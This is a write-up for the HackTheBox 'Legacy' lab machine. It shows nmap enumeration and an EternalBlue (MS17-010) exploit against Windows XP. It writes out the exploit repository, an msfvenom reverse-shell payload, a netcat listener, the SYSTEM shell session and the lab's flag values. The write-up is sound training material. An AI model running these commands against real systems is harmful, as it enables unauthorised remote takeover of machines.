HackTheBox Legacy
Writeup for HackTheBox Legacy
Machine Synopsis
Legacy is a fairly straightforward beginner-level machine which demonstrates the potential security risks of SMB on Windows. Only one publicly available exploit is required to obtain administrator access. (Source)
Key Exploitation Techniques:
- SMB Enumeration (OS and vulnerable protocols)
- EternalBlue Remote Code Execution (MS17-010 / CVE-2017-0143)
Enumeration
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$ nmap -sC -sV -A 10.10.10.4
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows XP microsoft-ds
3389/tcp closed ms-wbt-server
Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
|_clock-skew: mean: 5d00h57m47s, deviation: 1h24m51s, median: 4d23h57m47s
|_nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:f2:d3 (VMware)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb-os-discovery:
| OS: Windows XP (Windows 2000 LAN Manager)
| OS CPE: cpe:/o:microsoft:windows_xp::-
| Computer name: legacy
| NetBIOS computer name: LEGACY\x00
| Workgroup: HTB\x00
|_ System time: 2022-02-07T15:47:41+02:00
An nmap vulnerability script scan was used to confirm any presence of critical SMB vulnerabilities.
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$ nmap --script=vuln 10.10.10.4
PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3389/tcp closed ms-wbt-server
Host script results:
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_ https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
| smb-vuln-ms08-067:
| VULNERABLE:
| Microsoft Windows system vulnerable to remote code execution (MS08-067)
| State: VULNERABLE
| IDs: CVE:CVE-2008-4250
| The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
| Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
| code via a crafted RPC request that triggers the overflow during path canonicalization.
|
| Disclosure date: 2008-10-23
| References:
| https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_smb-vuln-ms10-054: false
The target was explicitly identified as vulnerable to MS17-010 (EternalBlue) and MS08-067 (Conficker).
Exploitation
Initial Access (NT AUTHORITY\SYSTEM)
The target’s Windows XP system was vulnerable to MS17-010, a remote code execution vulnerability in SMBv1.
A Python exploit script (e.g., send_and_execute.py from a dedicated MS17-010 GitHub repository) was used. This script sends a payload via SMB and executes it as a service
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$ git clone https://github.com/helviojunior/MS17-010.git
$ cd MS17-010
$ cat send_and_execute.py
def send_and_execute(conn, arch):
smbConn = conn.get_smbconnection()
filename = "%s.exe" % random_generator(6)
print "Sending file %s..." % filename
#In some cases you should change remote file location
#For example:
#smb_send_file(smbConn, lfile, 'C', '/windows/temp/%s' % filename)
#service_exec(conn, r'cmd /c c:\windows\temp\%s' % filename)
smb_send_file(smbConn, lfile, 'C', '/%s' % filename)
service_exec(conn, r'cmd /c c:\%s' % filename)
A reverse shell payload (windows/shell_reverse_tcp) was generated using msfvenom as an executable (legacy.exe).
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$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.3 LPORT=1234 -f exe > legacy.exe
A netcat listener was set up to catch the reverse shell.
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# Attacker machine: Netcat listener
$ nc -nlvp 1234
The send_and_execute.py script was executed, providing the target IP and the generated payload.
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# Attacker machine: Execute exploit script
$ python send_and_execute.py 10.10.10.4 legacy.exe
Trying to connect to 10.10.10.4:445
Target OS: Windows 5.1
...
Done
The exploit successfully delivered the payload, establishing a reverse shell with nt authority\system privileges.
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listening on [any] 1234 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.4] 1032
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>cd "C:\Documents and Settings\john\Desktop"
C:\Documents and Settings\john\Desktop>type user.txt
e69af0e4f443de7e36876fda4ec7644f
C:\Documents and Settings\john\Desktop>cd "C:\Documents and Settings\Administrator\Desktop"
C:\Documents and Settings\Administrator\Desktop>type root.txt
993442d258b0e0ec917cae9e695d5713
The user.txt and root.txt flags were located on the system.